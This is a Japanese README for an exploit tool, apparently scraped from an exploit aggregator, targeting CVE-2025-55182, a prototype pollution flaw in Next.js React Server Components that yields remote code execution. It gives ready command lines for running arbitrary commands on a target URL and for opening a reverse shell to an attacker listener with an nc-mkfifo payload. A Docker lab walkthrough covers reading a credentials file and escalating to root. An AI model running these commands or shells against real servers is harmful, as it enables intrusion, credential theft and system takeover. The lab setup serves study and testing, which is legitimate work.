## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NKWENTI-SEVERIAN-NDONGTSOP-POC_REACT2SHELL_CVE-2025-55182
# Next.js React Server Components RCE エクスプロイト
CVE-2025-55182を悪用して、プロトタイプ汚染を介したリモートコード実行を行います。
**著者:** Severian N.K.
## 説明
このツールは、React Server Componentsを使用するNext.jsアプリケーションのプロトタイプ汚染の脆弱性を悪用し、リモートコード実行(RCE)に至ります。直接的なコマンド実行とリバースシェルの両方をサポートします。
## インストール
このプロジェクトはPython仮想環境を使用して依存関係を管理します。まず、Python 3がインストールされていることを確認してください。
1. **仮想環境をセットアップする:**
root@kitploit:~
python3 -m venv venv
2. **環境を有効にして依存関係をインストールする:**
root@kitploit:~
source venv/bin/activate
pip install -r requirements.txt
## 使用方法
エクスプロイトを実行する前に、仮想環境が有効になっていることを確認してください(`source venv/bin/activate`)。
### コマンド実行
ターゲット上で単一のコマンドを実行するには:
root@kitploit:~
python3 exploit.py -u <TARGET_URL> -c "<COMMAND>"
**例:**
root@kitploit:~
python3 exploit.py -u http://example.com -c "id"
### リバースシェル
ターゲットからリバースシェルを取得するには:
root@kitploit:~
python3 exploit.py -u <TARGET_URL> -r -l <LISTENER_IP> -p <LISTENER_PORT>
**例:**
root@kitploit:~
python3 exploit.py -u http://example.com -r -l 10.10.10.2 -p 9001 -P nc-mkfifo
## ラボ環境
`lab/`ディレクトリには、独立した2つのDocker環境が含まれています:
1. **脆弱なアプリ** (`lab/vulnerable`):ポート3000で実行中。
2. **パッチ適用済みアプリ** (`lab/patched`):ポート3001で実行中。
### 1\. 脆弱なアプリをセットアップ
root@kitploit:~
cd lab/vulnerable
chmod +x build.sh run.sh
./build.sh
./run.sh
アクセス: http://localhost:3000
### 2\. パッチ適用済みアプリをセットアップ
root@kitploit:~
cd lab/patched
chmod +x build.sh run.sh
./build.sh
./run.sh
アクセス: http://localhost:3001
### 3\. リバースシェルをテスト
リスナーIP(`--lhost`)とポート(`--lport`)を**必ず** 指定してください。DockerブリッジIPは`ip addr show docker0`で確認できます(通常は172.17.0.1)。
root@kitploit:~
python exploit.py -u http://localhost:3000 -r -l 172.17.0.1 -p 6000 -P nc-mkfifo
> **注:** ターゲットがAlpine Linuxで動作しているため、特定のペイロードタイプが必要なため、`-P nc-mkfifo`を使用しています。
#### ステップ2: シークレットにアクセス
脆弱なコンテナはシークレットファイルを公開しています。
root@kitploit:~
python3 exploit.py -u http://localhost:3000 -c "cat /secret/credentials.txt"
# Output: manager:SuperSecret2025!
#### ステップ3: 権限昇格
侵害された認証情報を使用して、`nextjs`から`root`に権限昇格できます。
1. **ユーザー切り替え** : `su - manager`(パスワード: `SuperSecret2025!`)
2. **Rootになる** : `sudo su`(パスワード: `SuperSecret2025!`)
3. **フラグ取得** :
root@kitploit:~
cat /root/flag.txt
# Output: Congratulations! You have gained full control over the system!
## 参考文献
* 技術分析(Gist)
* 実践ラボ(TryHackMe)
## 貢献
貢献を歓迎します!バグを見つけた場合や改善のアイデアがある場合は、Issueを開くかプルリクエストを送信してください。